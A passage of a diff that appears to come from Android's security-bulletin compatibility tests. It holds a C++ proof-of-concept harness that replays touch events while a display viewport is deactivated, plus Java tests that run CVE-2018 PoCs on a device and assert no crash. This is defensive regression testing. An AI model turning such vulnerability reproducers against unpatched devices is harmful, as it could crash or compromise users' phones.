enabled = false; + return OK; + } + + explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {} + }; + + std::mutex mLock; + std::condition_variable mEventsCondition; + + KeyedVector<int32_t, Device*> mDevices; + std::vector<std::string> mExcludedDevices; + std::vector<RawEvent> mEvents GUARDED_BY(mLock); + std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames; + std::vector<int32_t> mVibrators = {0, 1}; + std::unordered_map<int32_t, RawLightInfo> mRawLightInfos; + // Simulates a device light brightness, from light id to light brightness. + std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness; + // Simulates a device light intensities, from light id to light intensities map. + std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>> + mLightIntensities; + +public: + virtual ~TestEventHub() { + for (size_t i = 0; i < mDevices.size(); i++) { + delete mDevices.valueAt(i); + } + } + + TestEventHub() {} + + void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) { + Device* device = new Device(classes); + device->identifier.name = name; + mDevices.add(deviceId, device); + + enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0); + } + + void removeDevice(int32_t deviceId) { + delete mDevices.valueFor(deviceId); + mDevices.removeItem(deviceId); + + enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0); + } + + bool isDeviceEnabled(int32_t deviceId) { + Device* device = getDevice(deviceId); + if (device == nullptr) { + ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); + return false; + } + return device->enabled; + } + + status_t enableDevice(int32_t deviceId) { + status_t result; + Device* device = getDevice(deviceId); + if (device == nullptr) { + ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); + return BAD_VALUE; + } + if (device->enabled) { + ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId); + return OK; + } + result = device->enable(); + return result; + } + + status_t disableDevice(int32_t deviceId) { + Device* device = getDevice(deviceId); + if (device == nullptr) { + ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); + return BAD_VALUE; + } + if (!device->enabled) { + ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId); + return OK; + } + return device->disable(); + } + + void finishDeviceScan() { + enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0); + } + + void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) { + Device* device = getDevice(deviceId); + device->configuration.addProperty(key, value); + } + + void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) { + Device* device = getDevice(deviceId); + device->configuration.addAll(configuration); + } + + void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat, + int fuzz, int resolution = 0) { + Device* device = getDevice(deviceId); + + RawAbsoluteAxisInfo info; + info.valid = true; + info.minValue = minValue; + info.maxValue = maxValue; + info.flat = flat; + info.fuzz = fuzz; + info.resolution = resolution; + device->absoluteAxes.add(axis, info); + } + + void addRelativeAxis(int32_t deviceId, int32_t axis) { + Device* device = getDevice(deviceId); + device->relativeAxes.add(axis, true); + } + + void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) { + Device* device = getDevice(deviceId); + device->keyCodeStates.replaceValueFor(keyCode, state); + } + + void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) { + Device* device = getDevice(deviceId); + device->scanCodeStates.replaceValueFor(scanCode, state); + } + + void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) { + Device* device = getDevice(deviceId); + device->switchStates.replaceValueFor(switchCode, state); + } + + void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) { + Device* device = getDevice(deviceId); + device->absoluteAxisValue.replaceValueFor(axis, value); + } + + void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode, + uint32_t flags) { + Device* device = getDevice(deviceId); + KeyInfo info; + info.keyCode = keyCode; + info.flags = flags; + if (scanCode) { + device->keysByScanCode.add(scanCode, info); + } + if (usageCode) { + device->keysByUsageCode.add(usageCode, info); + } + } + + void addLed(int32_t deviceId, int32_t led, bool initialState) { + Device* device = getDevice(deviceId); + device->leds.add(led, initialState); + } + + void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType, + int32_t sensorDataIndex) { + Device* device = getDevice(deviceId); + SensorInfo info; + info.sensorType = sensorType; + info.sensorDataIndex = sensorDataIndex; + device->sensorsByAbsCode.emplace(absCode, info); + } + + void setMscEvent(int32_t deviceId, int32_t mscEvent) { + Device* device = getDevice(deviceId); + typename BitArray<MSC_MAX>::Buffer buffer; + buffer[mscEvent / 32] = 1 << mscEvent % 32; + device->mscBitmask.loadFromBuffer(buffer); + } + + void addRawLightInfo(int32_t rawId, RawLightInfo&& info) { + mRawLightInfos.emplace(rawId, std::move(info)); + } + + void testLightBrightness(int32_t rawId, int32_t brightness) { + mLightBrightness.emplace(rawId, brightness); + } + + void testLightIntensities(int32_t rawId, + const std::unordered_map<LightColor, int32_t> intensities) { + mLightIntensities.emplace(rawId, std::move(intensities)); + } + + bool getLedState(int32_t deviceId, int32_t led) { + Device* device = getDevice(deviceId); + return device->leds.valueFor(led); + } + + std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; } + + void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) { + Device* device = getDevice(deviceId); + device->virtualKeys.push_back(definition); + } + + void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code, + int32_t value) { + std::scoped_lock<std::mutex> lock(mLock); + RawEvent event; + event.when = when; + event.readTime = readTime; + event.deviceId = deviceId; + event.type = type; + event.code = code; + event.value = value; + mEvents.push_back(event); + + if (type == EV_ABS) { + setAbsoluteAxisValue(deviceId, code, value); + } + } + + void setVideoFrames( + std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) { + mVideoFrames = std::move(videoFrames); + } + +private: + Device* getDevice(int32_t deviceId) const { + ssize_t index = mDevices.indexOfKey(deviceId); + return index >= 0 ? mDevices.valueAt(index) : nullptr; + } + + Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override { + Device* device = getDevice(deviceId); + return device ? device->classes : Flags<InputDeviceClass>(0); + } + + InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override { + Device* device = getDevice(deviceId); + return device ? device->identifier : InputDeviceIdentifier(); + } + + int32_t getDeviceControllerNumber(int32_t) const override { return 0; } + + void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override { + Device* device = getDevice(deviceId); + if (device) { + *outConfiguration = device->configuration; + } + } + + status_t getAbsoluteAxisInfo(int32_t deviceId, int axis, + RawAbsoluteAxisInfo* outAxisInfo) const override { + Device* device = getDevice(deviceId); + if (device && device->enabled) { + ssize_t index = device->absoluteAxes.indexOfKey(axis); + if (index >= 0) { + *outAxisInfo = device->absoluteAxes.valueAt(index); + return OK; + } + } + outAxisInfo->clear(); + return -1; + } + + bool hasRelativeAxis(int32_t deviceId, int axis) const override { + Device* device = getDevice(deviceId); + if (device) { + return device->relativeAxes.indexOfKey(axis) >= 0; + } + return false; + } + + bool hasInputProperty(int32_t, int) const override { return false; } + + bool hasMscEvent(int32_t deviceId, int mscEvent) const override final { + Device* device = getDevice(deviceId); + if (device) { + return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false; + } + return false; + } + + status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState, + int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override { + Device* device = getDevice(deviceId); + if (device) { + const KeyInfo* key = getKey(device, scanCode, usageCode); + if (key) { + if (outKeycode) { + *outKeycode = key->keyCode; + } + if (outFlags) { + *outFlags = key->flags; + } + if (outMetaState) { + *outMetaState = metaState; + } + return OK; + } + } + return NAME_NOT_FOUND; + } + + const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const { + if (usageCode) { + ssize_t index = device->keysByUsageCode.indexOfKey(usageCode); + if (index >= 0) { + return &device->keysByUsageCode.valueAt(index); + } + } + if (scanCode) { + ssize_t index = device->keysByScanCode.indexOfKey(scanCode); + if (index >= 0) { + return &device->keysByScanCode.valueAt(index); + } + } + return nullptr; + } + + status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; } + + base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId, + int32_t absCode) { + Device* device = getDevice(deviceId); + if (!device) { + return Errorf("Sensor device not found."); + } + auto it = device->sensorsByAbsCode.find(absCode); + if (it == device->sensorsByAbsCode.end()) { + return Errorf("Sensor map not found."); + } + const SensorInfo& info = it->second; + return std::make_pair(info.sensorType, info.sensorDataIndex); + } + + void setExcludedDevices(const std::vector<std::string>& devices) override { + mExcludedDevices = devices; + } + + size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override { + std::scoped_lock lock(mLock); + + const size_t filledSize = std::min(mEvents.size(), bufferSize); + std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer); + + mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize); + mEventsCondition.notify_all(); + return filledSize; + } + + std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override { + auto it = mVideoFrames.find(deviceId); + if (it != mVideoFrames.end()) { + std::vector<TouchVideoFrame> frames = std::move(it->second); + mVideoFrames.erase(deviceId); + return frames; + } + return {}; + } + + int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override { + Device* device = getDevice(deviceId); + if (device) { + ssize_t index = device->scanCodeStates.indexOfKey(scanCode); + if (index >= 0) { + return device->scanCodeStates.valueAt(index); + } + } + return AKEY_STATE_UNKNOWN; + } + + int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override { + Device* device = getDevice(deviceId); + if (device) { + ssize_t index = device->keyCodeStates.indexOfKey(keyCode); + if (index >= 0) { + return device->keyCodeStates.valueAt(index); + } + } + return AKEY_STATE_UNKNOWN; + } + + int32_t getSwitchState(int32_t deviceId, int32_t sw) const override { + Device* device = getDevice(deviceId); + if (device) { + ssize_t index = device->switchStates.indexOfKey(sw); + if (index >= 0) { + return device->switchStates.valueAt(index); + } + } + return AKEY_STATE_UNKNOWN; + } + + status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis, + int32_t* outValue) const override { + Device* device = getDevice(deviceId); + if (device) { + ssize_t index = device->absoluteAxisValue.indexOfKey(axis); + if (index >= 0) { + *outValue = device->absoluteAxisValue.valueAt(index); + return OK; + } + } + *outValue = 0; + return -1; + } + + // Return true if the device has non-empty key layout. + bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes, + uint8_t* outFlags) const override { + bool result = false; + Device* device = getDevice(deviceId); + if (device) { + result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0; + for (size_t i = 0; i < numCodes; i++) { + for (size_t j = 0; j < device->keysByScanCode.size(); j++) { + if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) { + outFlags[i] = 1; + } + } + for (size_t j = 0; j < device->keysByUsageCode.size(); j++) { + if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) { + outFlags[i] = 1; + } + } + } + } + return result; + } + + bool hasScanCode(int32_t deviceId, int32_t scanCode) const override { + Device* device = getDevice(deviceId); + if (device) { + ssize_t index = device->keysByScanCode.indexOfKey(scanCode); + return index >= 0; + } + return false; + } + + bool hasLed(int32_t deviceId, int32_t led) const override { + Device* device = getDevice(deviceId); + return device && device->leds.indexOfKey(led) >= 0; + } + + void setLedState(int32_t deviceId, int32_t led, bool on) override {} + + void getVirtualKeyDefinitions( + int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override { + outVirtualKeys.clear(); + + Device* device = getDevice(deviceId); + if (device) { + outVirtualKeys = device->virtualKeys; + } + } + + const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override { + return nullptr; + } + + bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override { + return false; + } + + void vibrate(int32_t, const VibrationElement&) override {} + + void cancelVibrate(int32_t) override {} + + std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; }; + + std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override { + return BATTERY_CAPACITY; + } + + std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override { + return BATTERY_STATUS; + } + + const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; } + + std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) { + return std::nullopt; + } + + const std::vector<int32_t> getRawLightIds(int32_t deviceId) override { + std::vector<int32_t> ids; + for (const auto& [rawId, info] : mRawLightInfos) { + ids.push_back(rawId); + } + return ids; + } + + std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override { + auto it = mRawLightInfos.find(lightId); + if (it == mRawLightInfos.end()) { + return std::nullopt; + } + return it->second; + } + + void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override { + mLightBrightness.emplace(lightId, brightness); + } + + void setLightIntensities(int32_t deviceId, int32_t lightId, + std::unordered_map<LightColor, int32_t> intensities) override { + mLightIntensities.emplace(lightId, intensities); + }; + + std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override { + auto lightIt = mLightBrightness.find(lightId); + if (lightIt == mLightBrightness.end()) { + return std::nullopt; + } + return lightIt->second; + } + + std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities( + int32_t deviceId, int32_t lightId) override { + auto lightIt = mLightIntensities.find(lightId); + if (lightIt == mLightIntensities.end()) { + return std::nullopt; + } + return lightIt->second; + }; + + virtual bool isExternal(int32_t) const { return false; } + + void dump(std::string&) override {} + + void monitor() override {} + + void requestReopenDevices() override {} + + void wake() override {} +}; + +// --- TestInputMapper--- + +class TestInputMapper : public InputMapper { + uint32_t mSources; + int32_t mKeyboardType; + int32_t mMetaState; + KeyedVector<int32_t, int32_t> mKeyCodeStates; + KeyedVector<int32_t, int32_t> mScanCodeStates; + KeyedVector<int32_t, int32_t> mSwitchStates; + std::vector<int32_t> mSupportedKeyCodes; + + std::mutex mLock; + std::condition_variable mStateChangedCondition; + bool mConfigureWasCalled GUARDED_BY(mLock); + bool mResetWasCalled GUARDED_BY(mLock); + bool mProcessWasCalled GUARDED_BY(mLock); + RawEvent mLastEvent GUARDED_BY(mLock); + + std::optional<DisplayViewport> mViewport; + +public: + TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources) + : InputMapper(deviceContext), + mSources(sources), + mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE), + mMetaState(0), + mConfigureWasCalled(false), + mResetWasCalled(false), + mProcessWasCalled(false) {} + + virtual ~TestInputMapper() {} + + void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; } + + void setMetaState(int32_t metaState) { mMetaState = metaState; } + void setKeyCodeState(int32_t keyCode, int32_t state) { + mKeyCodeStates.replaceValueFor(keyCode, state); + } + + void setScanCodeState(int32_t scanCode, int32_t state) { + mScanCodeStates.replaceValueFor(scanCode, state); + } + + void setSwitchState(int32_t switchCode, int32_t state) { + mSwitchStates.replaceValueFor(switchCode, state); + } + + void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); } + +private: + uint32_t getSources() override { return mSources; } + + void populateDeviceInfo(InputDeviceInfo* deviceInfo) override { + InputMapper::populateDeviceInfo(deviceInfo); + + if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) { + deviceInfo->setKeyboardType(mKeyboardType); + } + } + + void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override { + std::scoped_lock<std::mutex> lock(mLock); + mConfigureWasCalled = true; + + // Find the associated viewport if exist. + const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort(); + if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { + mViewport = config->getDisplayViewportByPort(*displayPort); + } + + mStateChangedCondition.notify_all(); + } + + void reset(nsecs_t) override { + std::scoped_lock<std::mutex> lock(mLock); + mResetWasCalled = true; + mStateChangedCondition.notify_all(); + } + + void process(const RawEvent* rawEvent) override { + std::scoped_lock<std::mutex> lock(mLock); + mLastEvent = *rawEvent; + mProcessWasCalled = true; + mStateChangedCondition.notify_all(); + } + + int32_t getKeyCodeState(uint32_t, int32_t keyCode) override { + ssize_t index = mKeyCodeStates.indexOfKey(keyCode); + return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; + } + + int32_t getScanCodeState(uint32_t, int32_t scanCode) override { + ssize_t index = mScanCodeStates.indexOfKey(scanCode); + return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; + } + + int32_t getSwitchState(uint32_t, int32_t switchCode) override { + ssize_t index = mSwitchStates.indexOfKey(switchCode); + return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN; + } + + // Return true if the device has non-empty key layout. + bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes, + uint8_t* outFlags) override { + for (size_t i = 0; i < numCodes; i++) { + for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) { + if (keyCodes[i] == mSupportedKeyCodes[j]) { + outFlags[i] = 1; + } + } + } + bool result = mSupportedKeyCodes.size() > 0; + return result; + } + + virtual int32_t getMetaState() { return mMetaState; } + + virtual void fadePointer() {} + + virtual std::optional<int32_t> getAssociatedDisplay() { + if (mViewport) { + return std::make_optional(mViewport->displayId); + } + return std::nullopt; + } +}; + +// --- InstrumentedInputReader --- + +class InstrumentedInputReader : public InputReader { + std::queue<std::shared_ptr<InputDevice>> mNextDevices; + +public: + InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub, + const sp<InputReaderPolicyInterface>& policy, + const sp<InputListenerInterface>& listener) + : InputReader(eventHub, policy, listener), mTestContext(this) {} + + virtual ~InstrumentedInputReader() {} + + void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); } + + std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, + const std::string& location = "") { + InputDeviceIdentifier identifier; + identifier.name = name; + identifier.location = location; + int32_t generation = deviceId + 1; + return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier); + } + + // Make the protected loopOnce method accessible to tests. + using InputReader::loopOnce; + +protected: + virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId, + const InputDeviceIdentifier& identifier) + REQUIRES(mLock) { + if (!mNextDevices.empty()) { + std::shared_ptr<InputDevice> device(std::move(mNextDevices.front())); + mNextDevices.pop(); + return device; + } + return InputReader::createDeviceLocked(eventHubId, identifier); + } + + // --- TestInputReaderContext --- + class TestInputReaderContext : public ContextImpl { + int32_t mGlobalMetaState; + bool mUpdateGlobalMetaStateWasCalled; + int32_t mGeneration; + + public: + TestInputReaderContext(InputReader* reader) + : ContextImpl(reader), + mGlobalMetaState(0), + mUpdateGlobalMetaStateWasCalled(false), + mGeneration(1) {} + + virtual ~TestInputReaderContext() {} + + void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; } + + void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; } + + uint32_t getGeneration() { return mGeneration; } + + void updateGlobalMetaState() override { + mUpdateGlobalMetaStateWasCalled = true; + ContextImpl::updateGlobalMetaState(); + } + + int32_t getGlobalMetaState() override { + return mGlobalMetaState | ContextImpl::getGlobalMetaState(); + } + + int32_t bumpGeneration() override { + mGeneration = ContextImpl::bumpGeneration(); + return mGeneration; + } + } mTestContext; + +public: + TestInputReaderContext* getContext() { return &mTestContext; } +}; + +// --- InputMapperTest --- + +class InputMapperTest { +public: + std::shared_ptr<TestEventHub> mTestEventHub; + sp<TestInputReaderPolicy> mTestPolicy; + sp<TestInputListener> mTestListener; + std::unique_ptr<InstrumentedInputReader> mReader; + std::shared_ptr<InputDevice> mDevice; + + virtual void SetUp(Flags<InputDeviceClass> classes) { + mTestEventHub = std::make_unique<TestEventHub>(); + mTestPolicy = new TestInputReaderPolicy(); + mTestListener = new TestInputListener(); + mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy, + mTestListener); + mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes); + } + + void SetUp() { SetUp(DEVICE_CLASSES); } + + void TearDown() { + mTestListener.clear(); + mTestPolicy.clear(); + } + virtual ~InputMapperTest() {} + + void addConfigurationProperty(const char* key, const char* value) { + mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value)); + } + + void configureDevice(uint32_t changes) { + if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { + mReader->requestRefreshConfiguration(changes); + mReader->loopOnce(); + } + mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes); + } + + std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, + const std::string& location, int32_t eventHubId, + Flags<InputDeviceClass> classes) { + InputDeviceIdentifier identifier; + identifier.name = name; + identifier.location = location; + std::shared_ptr<InputDevice> device = + std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION, + identifier); + mReader->pushNextDevice(device); + mTestEventHub->addDevice(eventHubId, name, classes); + mReader->loopOnce(); + return device; + } + + template <class T, typename... Args> + T& addMapperAndConfigure(Args... args) { + T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...); + configureDevice(0); + mDevice->reset(ARBITRARY_TIME); + mapper.reset(ARBITRARY_TIME); + return mapper; + } + + void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height, + int32_t orientation, const std::string& uniqueId, + std::optional<uint8_t> physicalPort, + ViewportType viewportType) { + mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/, + uniqueId, physicalPort, viewportType); + configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); + } + + void clearViewports() { mTestPolicy->clearViewports(); } + + void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code, + int32_t value) { + RawEvent event; + event.when = when; + event.readTime = readTime; + event.deviceId = mapper.getDeviceContext().getEventHubId(); + event.type = type; + event.code = code; + event.value = value; + mapper.process(&event); + mReader->loopOnce(); + } + void Process_DeactivateViewport_AbortTouches(); +}; + +void InputMapperTest::Process_DeactivateViewport_AbortTouches() { + SetUp(); + addConfigurationProperty("touch.deviceType", "touchScreen"); + mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT, + DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT, + ViewportType::INTERNAL); + std::optional<DisplayViewport> optionalDisplayViewport = + mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID); + DisplayViewport displayViewport = *optionalDisplayViewport; + + configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); + mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0); + mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0); + MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>(); + + // Finger down + int32_t x = 100, y = 100; + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); + + NotifyMotionArgs motionArgs; + + // Deactivate display viewport + displayViewport.isActive = false; + mTestPolicy->updateViewport(displayViewport); + configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); + + // Finger move + x += 10, y += 10; + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); + + // Reactivate display viewport + displayViewport.isActive = true; + mTestPolicy->updateViewport(displayViewport); + configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); + + // Finger move again + x += 10, y += 10; + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); + process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); +} + +} // namespace android + +int main() { + android::InputMapperTest inputMapperTest; + inputMapperTest.Process_DeactivateViewport_AbortTouches(); + return 0; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java new file mode 100644 index 00000000000..1bb5e0a4679 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2018_9547 extends SecurityTestCase { + + /** + * b/114223584 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 114223584) + @Test + public void testPocCVE_2018_9547() throws Exception { + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9547", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java new file mode 100644 index 00000000000..6e4d588205a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2018_9564 extends SecurityTestCase { + + /** + * b/114238578 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 114238578) + @Test + public void testPocCVE_2018_9564() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9564", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java new file mode 100644 index 00000000000..e899b7ae9e9 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java @@ -0,0 +1,38 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2018_9593 extends SecurityTestCase { + + /** + * b/116722267 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 116722267) + @Test + public void testPocCVE_2018_9593() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9593", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java new file mode 100644 index 00000000000..d6e8fb59c0e --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java @@ -0,0 +1,38 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * 